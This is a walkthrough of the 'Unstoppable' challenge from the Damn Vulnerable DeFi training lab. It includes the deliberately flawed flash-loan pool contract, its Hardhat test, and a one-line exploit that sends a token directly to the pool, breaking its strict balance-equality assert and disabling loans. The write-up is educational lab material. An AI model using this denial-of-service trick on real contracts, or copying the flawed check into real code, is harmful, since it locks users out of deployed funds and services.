Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge can pass.
First, execute the following commands:
# Clone the repository
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# Switch to the branch
git checkout v2.2.0
# Install dependencies
yarn
In the test files, write your solution in *.challenge.js, and then run yarn run [challenge name]
. If there are no errors, it means you have passed the challenge.
Let's start with the first challenge, Unstoppable.
Challenge Description:
There is a lending pool with a balance of 1 million DVT tokens, which provides the functionality of flash loans for free. You need to find a way to attack the lending pool and disable its functionality.
There are two smart contract files for this challenge:
UnstoppableLender.sol - Lending pool contract
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken; // Instance of DVT token
uint256 public poolBalance; // Current balance of DVT tokens in this contract
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress); // Create an instance of the contract with the DVT token address
}
// Deposit tokens into this contract
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
damnValuableToken.transferFrom(msg.sender, address(this), amount); // Transfer the specified amount of tokens from the caller's balance to this contract
poolBalance = poolBalance + amount; // Increase the balance
}
// Flash loan function
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); // Get the balance of tokens in this contract
require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); // Ensure that the balance is greater than or equal to the borrowed amount
assert(poolBalance == balanceBefore); // Ensure that the recorded balance is equal to the actual balance
damnValuableToken.transfer(msg.sender, borrowAmount); // Transfer the tokens from this contract to the caller
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount); // Call the receiveTokens function of the caller's contract
uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); // Get the balance of tokens in this contract after the transfer
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); // Ensure that the tokens have been returned
}
}
ReceiverUnstoppable.sol - Contract to execute flash loans
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool; // Instance of the lending pool
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
// Execute the flash loan
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
The smart contracts are simple. There is a lending pool contract where you can deposit tokens and it provides the functionality of flash loans. There is also a contract to execute flash loans, which can call the flashLoan function of the lending pool contract to borrow tokens and return them in its callback function.
To disable the functionality of the lending pool, you need to write your attack code in the test/unstoppable/unstoppable.challenge.js file.
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser
// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker, someUser] = await ethers.getSigners()
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
this.token = await DamnValuableTokenFactory.deploy()
this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
await this.token.approve(this.pool.address, TOKENS_IN_POOL)
await this.pool.depositTokens(TOKENS_IN_POOL)
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
expect(
await this.token.balanceOf(this.pool.address)
).to.equal(TOKENS_IN_POOL)
expect(
await this.token.balanceOf(attacker.address)
).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)
const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
await this.receiverContract.executeFlashLoan(10)
})
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address, 1)
})
after(async function () {
/** SUCCESS CONDITIONS */
await expect(
this.receiverContract.executeFlashLoan(10)
).to.be.reverted
})
})
This test script does the following:
- Transfers 1 million tokens from the deployer to the lending pool
- Transfers 100 tokens from the deployer to the attacker's address
- Executes a flash loan of 10 tokens by someUser and returns them
- Transfers 1 token from the attacker to the lending pool
- Attempts to execute another flash loan, which should fail
The reason why executing the following code disables the flash loan functionality:
await this.token.connect(attacker).transfer(this.pool.address, 1)
is because the flashLoan function in the lending pool contract expects the poolBalance
variable to be equal to the actual balance. When tokens are deposited using the depositTokens
function, the poolBalance
variable is correctly updated. However, when we manually transfer tokens, the poolBalance
variable is not updated accordingly. In this case, the actual balance in the lending pool contract is greater than the poolBalance
variable, which disables the flash loan functionality.
Finally, run yarn unstoppable
to test the exploit. It should pass!